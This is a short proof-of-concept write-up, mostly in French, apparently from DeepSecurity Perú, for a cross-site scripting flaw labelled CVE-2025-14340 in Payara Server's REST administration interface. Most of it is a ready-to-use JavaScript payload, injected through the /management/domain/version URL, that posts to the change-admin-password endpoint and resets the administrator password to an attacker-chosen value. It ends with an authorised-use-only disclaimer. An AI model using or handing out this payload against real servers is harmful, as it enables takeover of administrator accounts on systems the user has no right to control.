
PoC for CVE-2025-14340: Admin account takeover in Payara Server
Une vulnérabilité de Cross-Site Scripting dans l’interface d’administration REST de Payara permet l’exécution de JavaScript contrôlé par un attaquant, conduisant à une prise de contrôle du compte administrateur. En raison de :
/management/domain/version peut envoyer une requête POST à /management/domain/change-admin-password et définir un mot de passe choisi par l’attaquant pour n’importe quel compte cible — entraînant une prise de contrôle du compte administrateur.URL :
https://panel.example.com:4848/management/domain/version?<PAYLOAD>
PAYLOAD :
<script>
fetch('/management/domain/change-admin-password', {
method: 'POST',
headers: {
'X-Requested-By': 'GlassFish REST HTML interface',
'Accept': 'text/html',
'Content-Type': 'application/x-www-form-urlencoded'
},
body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>
UTILISATION AUTORISÉE UNIQUEMENT. DeepSecurity Perú n’approuve pas les accès non autorisés et décline toute responsabilité en cas d’utilisation abusive des informations fournies.